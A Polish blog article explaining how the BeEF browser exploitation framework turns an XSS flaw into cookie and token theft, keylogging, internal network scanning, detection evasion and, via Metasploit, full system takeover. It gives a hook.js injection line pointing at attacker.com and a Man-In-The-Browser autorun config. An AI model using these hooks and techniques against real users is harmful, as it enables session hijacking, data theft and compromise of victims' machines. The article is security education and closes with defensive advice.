Do czego można wykorzystać XSS? (czyli czym jest BeEF)

Znany i często spotykany atak typu cross-site-scripting polega na wstrzyknięciu złośliwego kodu HTML/javascript w treść strony. Najbardziej znanymi konsekwencjami tego ataku są: przejęcie sesji (poprzez wykradnięcie ciasteczek) oraz omijanie zabezpieczeń anty-CSRF. Jednak XSS-y dają nam znacznie więcej możliwości. W poniższym tekście zaprezentuję BeEF’a – narzędzie umożliwiające wykorzystanie tego typu błędów w znacznie bardziej kreatywny sposób.

Logo The Browser Exploitation  Framerwork

 The Browser Exploitation Framework

BeEF działa w bardzo prosty sposób: uruchamia serwer, hostujący plik hook.js. Jeśli uda nam się zmusić przeglądarkę użytkownika do załadowania tego skryptu, będziemy mieli możliwość uruchomienia jednego z modułów zgromadzonych w bazie BeEF-a. Obecnie jest ich ponad 250 i umożliwiają wykonanie takich działań jak: wykradanie danych, wykrywanie dodatków, skanowanie sieci wewnętrznej oraz wykonanie dowolnego kodu w systemie.
Infekcja i utrzymanie połączenia
Po ściągnięciu i uruchomieniu programu, pod adresem http://localhost:3000/ui/panel dostępny będzie panel administracyjny BeEF-a. Po zalogowaniu (domyśle dane to beef/beef), w lewym panelu wyświetlane będą podłączone przeglądarki. Aby podłączyć przeglądarkę, wystarczy umieścić poniższy kod na stronie odwiedzanej przez ofiarę:

<script src="http://attacker.com/hook.js"></script>.

Można to uczynić na wiele sposobów, nie tylko za pomocą XSS. Inne możliwości to np. atak typu Man-In-The-Middle lub wykorzystanie podatności open-redirect.

Rys 1. Panel kontrolny BeEF

Od tej chwili, klient staje się „zombie” i możemy wydawać mu polecenia. Domyślnie odbywa się to poprzez regularne wysyłanie zapytań GET (przez właśnie wgrany skrypt) do naszego serwera (tzw. polling). W momencie, w którym aktywujemy któryś z modułów, w odpowiedzi na jedno z tych żądań BeEF zwróci kod javascript z wybranym payloadem. W ten sposób BeEF ma możliwość praktycznie ciągłej komunikacji z przeglądarką ofiary.

W powyższym procesie możemy zauważyć dwa problemy:

• krótki czas połączenia,
• spore natężenie generowanego ruchu.

Pierwszy problem wynika z czasu działania załadowanego skryptu. W momencie, w którym nasza ofiara przejdzie na inną stronę lub zamknie przeglądarkę, skrypt przestanie działać, a my stracimy możliwość wykonywania kodu javascript. Jest jednak kilka rzeczy, które możemy zrobić, aby temu zapobiec:

• przygotować odpowiednią treść,
• wykorzystać specjalne moduły BeEF-a,
• zautomatyzować proces exploitacji,
• użyć mechanizmów „cachujących”  (takich jak service-workers).

Pierwszy sposób jest dość prosty i oczywisty, niemniej jednak może być całkiem skuteczny. W zależności od miejsca znalezienia XSSa, wraz z hookiem wgrywamy treść, która przyciągnie uwagę użytkownika. Na przykład: jeśli podatny był formularz z komentarzem, wgrywamy odpowiednio długi i absorbujący komentarz. W przypadku przekierowania ofiary na własną stronę, można postarać się np. spersonalizować treść tejże strony.

Kolejna opcja to użycie gotowych modułów. Opierają się one na otwieraniu dodatkowych okien, podmianie linków i tworzeniu elementów iframe. Na stronie wiki projektu można znaleźć ich dokładniejszy opis. Ciekawszą metodą jest atak Man-In-The-Browser (MITB), polegający na przechwyceniu wszystkich kliknięć w linki. W zależności od docelowej domeny (ograniczenia nakładane przez Same-origin policy), żądana treść zostanie otworzona w nowej karcie, lub wczytana do bieżącej poprzez zapytanie ajax. Dzięki temu połączenie nie zostanie zerwane w trakcie normalnej nawigacji.

Do wykorzystania mamy też moduł o nazwie Autorun Rule Engine. Pozwala on na automatyczne wykonanie zdefiniowanych komend w momencie nawiązania kontaktu. Przykładowo, aby wykonać MITB na użytkownikach korzystających z Firefoxa pod Windows 7 należy umieścić poniższy skrypt w /arerules/enabled/mitb.js

{"name": "Man-In-The-Browser",
"browser": "FF",
"browser_version": "ALL",
"os": "Windows",
"os_version": "== 7",
"modules": [
{"name": "man_in_the_browser",
"condition": null,
"pre": null,
"options": {}
}
],
"execution_order": [0],
"execution_delay": [10],
"chain_mode": "sequential"
}

O atakach wykorzystujących pamięć podręczną można przeczytać tutaj.

Drugim problemem (natężenie generowanego ruchu) jest łatwość, z jaką nasz atak może zostać wykryty. Każda maszyna zombie wysyła (co sekundę) zapytanie bezpośrednio do naszego serwera. Większość systemów wykrywania intruzów dość szybko wykryje taką aktywność. Aby zamaskować naszą obecność, możemy:

• zmniejszyć ruch (wydłużyć odstępy pomiędzy zapytaniami),
• używać wielu różnych serwerów,
• użyć serwerów proxy,
• skorzystać z protokołu WebRTC

Najciekawszą opcją jest ta ostatnia. Otóż protokół WebRTC umożliwia bezpośrednią komunikację pomiędzy przeglądarkami – bez pośrednictwa serwera. Dzięki temu wystarczy wymieniać dane pomiędzy BeEF-em, a tylko jednym, dowolnym zombie – wywoływaczem. Polecenia do pozostałych klientów (odbiorców) będą przekazywane przez tegoż wywoływacza. Jeśli dodatkowo będziemy co jakiś czas zmieniać maszynę, z którą komunikujemy się bezpośrednio, wykrycie naszej obecności będzie dużo trudniejsze. Rozwiązanie to ma jednak dwie niedogodności: działa tylko w obrębie jednej sieci NAT oraz nie jest wspierane przez Internet Explorer.

Rys 2. Połączenie domyślne wykorzystujące WebRTC

Źródło: prezentacja DEFCON

Ciasteczka i nie tylko

Połączenie nawiązane, czas na działanie maksymalnie wydłużony, możemy wykonać dowolny kod javascript w przeglądarce ofiary. Co teraz? Pierwsza myśl: kradzież ciasteczek. Najlepiej sesyjnych. Tylko co, jeśli ustawiona jest flaga HttpOnly? Lub w ogóle nie ma ciasteczek?
Najlepiej zacząć od przejrzenia innych, potencjalnie cennych informacji:

• rejestr zdarzeń i keylogger,
• wartości tokenów (CSRF),
• wartości formularzy,
• treść strony,
• odwiedzone domeny,
• informacje o przeglądarce,
• zainstalowane dodatki (do późniejszej exploitacji),
• Local Storage, Session Storage…

To już coś, szczególnie jeśli mamy hooka w interesującej domenie.

Od środka

Kolejny krok: testowanie aplikacji w poszukiwaniu kolejnych błędów. Przydatne, o ile zainfekowany użytkownik ma wysokie uprawnienia w danej domenie.
BeEF mocno ułatwia tutaj zadanie. Wystarczy kliknąć na wybranego hosta i użyć opcji „Use as proxy”. Teraz po wejściu na odpowiednią domenę (i skonfigurowaniu przeglądarki do używania właśnie stworzonego proxy) będziemy mieć uprawnienia naszej ofiary. Bez wykradania jakichkolwiek ciasteczek. Oczywiście z powodu SOP proxy działać będzie tylko dla domeny, w której umieściliśmy hooka. Alternatywnie możemy ręcznie wysyłać zapytania w imieniu przejętej przeglądarki (forge request w zakładce Rider).

Dalej: BeEF posiada kilka opcji umożliwiających badanie sieci LAN. Przede wszystkim możemy poznać adres wewnętrzny naszego celu (poprzez protokół WebRTC lub aplet Javy). Dalej mamy kilka możliwości skanowania, większość bazuje na porównywaniu czasu odpowiedzi:

• zapytania XHR,
• zapytania HTTP do typowo występujących zasobów (index.php, favicon.ico itp),
• zapytania Cross-Origin przez Flash,
• skanowanie DNS.

Możemy też skanować porty i usługi. Całość zostanie zaprezentowana w postaci mapy.

Rys 3. Mapa skanowania

Kontrola zupełna

Najgroźniejsza rzecz do jakiej można wykorzystać XSSa – przejęcie kontroli nad komputerem. Tutaj jednak sprawa nie jest prosta, wymagana jest nieaktualna wersja przeglądarki lub „ciężka” socjotechnika.
Do exploitacji najwygodniej użyć znanego narzędzia Metasploit. BeEF daje nam możliwość łatwego połączenia z nim. W konsoli msf wpisujemy:

msf > load msgrpc ServerHost=127.0.0.1 User=msf Pass=s3cP@ss SLL=y

W pliku extensions/matesplaoit/config.yaml ustawiamy odpowiednie opcje i gotowe. W panelu BeEF-a mamy załadowane wszystkie dostępne exploity. Wystarczy wybrać odpowiedni, odpalić i czekać na shella.

Warto tutaj wspomnieć o module browser_autopwn. Jego uruchomienie włączy serwer, na którym hostowane będzie kilkanaście exploitów. Jeśli teraz (za pomocą BeEF-a) przekierujemy na niego naszą ofiarę, metasploit automatycznie rozpozna jego system oraz przeglądarkę, dobierze odpowiednie exploity i uruchomi je.

W przypadku niepowodzenia powyższego scenariusza, możemy próbować nakłonić użytkownika do pobrania i uruchomienia wygenerowanego przez metasploit programu lub dodatku do przeglądarki. Najnowsze wersje Firefox/Chrome pozwalają instalować tylko podpisane dodatki, co znacznie utrudnia zadanie.

Rys 4. wygenerowany przez Metasploit dodatek do przeglądarki

BeEF oferuje jeszcze kilka innych, ciekawych modułów, które mogą okazać się przydatne:

• socjotechniczne:
  • wyświetlanie podrobionych okienek logowania,
  • powiadomienia,
  • podmiana linków,
  • clickjacking,
  • uruchamianie kamer/mikrofonów,
• geolokalizacja,
• skaner podatności XSS (XssRays),
• exploitowanie routerów,
• dodawanie użytkowników w WordPressie.

Jak widać, prosty XSS może służyć do rzeczy groźniejszych, niż kradzież ciastek czy tokenów. Tym bardziej warto się zabezpieczyć przed tego rodzaju błędami. Zarówno od strony klienta (np. stosując dodatki typu noscript) jak i dewelopera (np. wprowadzając CSP).

–Paweł Płatek